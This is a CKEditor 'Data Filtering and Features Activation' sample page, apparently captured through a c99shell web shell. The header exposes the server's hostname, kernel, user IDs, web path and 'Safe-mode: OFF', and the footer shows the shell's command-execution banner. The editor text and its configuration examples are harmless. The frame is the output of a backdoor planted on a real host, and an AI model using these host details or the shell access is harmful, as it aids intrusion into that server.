Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) Safe-mode: OFF (not secure) /var/www/clients/client172/web473/web/aps/editors/ckeditor/samples/ drwxr-xr-x |
Viewing file: datafiltering.html (33.91 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | CKEditor Samples » Data Filtering and Features ActivationThis sample page demonstrates the idea of Advanced Content Filter (ACF), a sophisticated tool that takes control over what kind of data is accepted by the editor and what kind of output is produced. When and what is being filtered?ACF controls every single source of data that comes to the editor. It process both HTML that is inserted manually (i.e. pasted by the user) and programmatically like: editor.setData( '<p>Hello world!</p>' ); ACF discards invalid, useless HTML tags and attributes so the editor remains "clean" during runtime. ACF behaviour can be configured and adjusted for a particular case to prevent the output HTML (i.e. in CMS systems) from being polluted. This kind of filtering is a first, client-side line of defense against "tag soups", the tool that precisely restricts which tags, attributes and styles are allowed (desired). When properly configured, ACF is an easy and fast way to produce a high-quality, intentionally filtered HTML. How to configure or disable ACF?
Advanced Content Filter is enabled by default, working in "automatic mode", yet
it provides a set of easy rules that allow adjusting filtering rules
and disabling the entire feature when necessary. The config property
responsible for this feature is
By "automatic mode" is meant that loaded plugins decide which kind
of content is enabled and which is not. For example, if the link
plugin is loaded it implies that
Let's assume our intention is to restrict the editor to accept (produce) paragraphs
only: no attributes, no styles, no other tags.
With ACF
this is very simple. Basically set var editor = CKEDITOR.replace( textarea_id, { allowedContent: 'p' } ); Now try to play with allowed content: // Trying to insert disallowed tag and attribute. editor.setData( '<p style="color: red">Hello <em>world</em>!</p>' ); alert( editor.getData() ); // Filtered data is returned. "<p>Hello world!</p>"
What happened? Since This is just a small sample of what ACF can do. To know more, please refer to the sample section below and the official Advanced Content Filter guide.
You may, of course, want CKEditor to avoid filtering of any kind.
To get rid of ACF,
basically set CKEDITOR.replace( textarea_id, { allowedContent: true } ); Beyond data flow: Features activation
ACF is far more than
I/O control: the entire
UI of the editor is adjusted to what
filters restrict. For example: if
CKEditor can be far more specific. If Sample configurationsThere are several editor instances below that present different ACF setups. All of them, except the last inline instance, share the same HTML content to visualize how different filtering rules affect the same input data.
This editor is using default configuration ("automatic mode"). It means that
This editor is using a custom configuration for ACF: CKEDITOR.replace( 'editor2', { allowedContent: 'h1 h2 h3 p blockquote strong em;' + 'a[!href];' + 'img(left,right)[!src,alt,width,height];' + 'table tr th td caption;' + 'span{!font-family};' +' 'span{!color};' + 'span(!marker);' + 'del ins' } ); The following rules may require additional explanation:
Please note that UI of the
editor is different. It's a response to what happened to the filters.
Since This editor is using a custom configuration for ACF. Note that filters can be configured as an object literal as an alternative to a string-based definition. CKEDITOR.replace( 'editor3', { allowedContent: { 'b i ul ol big small': true, 'h1 h2 h3 p blockquote li': { styles: 'text-align' }, a: { attributes: '!href,target' }, img: { attributes: '!src,alt', styles: 'width,height', classes: 'left,right' } } } ); This editor is using a custom set of plugins and buttons. CKEDITOR.replace( 'editor4', { removePlugins: 'bidi,font,forms,flash,horizontalrule,iframe,justify,table,tabletools,smiley', removeButtons: 'Anchor,Underline,Strike,Subscript,Superscript,Image', format_tags: 'p;h1;h2;h3;pre;address' } );
As you can see, removing plugins and buttons implies filtering.
Several tags are not allowed in the editor because there's no
plugin/button that is responsible for creating and editing this
kind of content (for example: the image is missing because
of
This editor is built on editable
ACF makes sure that
no disallowed tags will come to Apollo 11 was the spaceflight that landed the first humans, Americans Neil Armstrong and Buzz Aldrin, on the Moon on July 20, 1969, at 20:18 UTC. |
:: Command execute :: | |
--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0339 ]-- |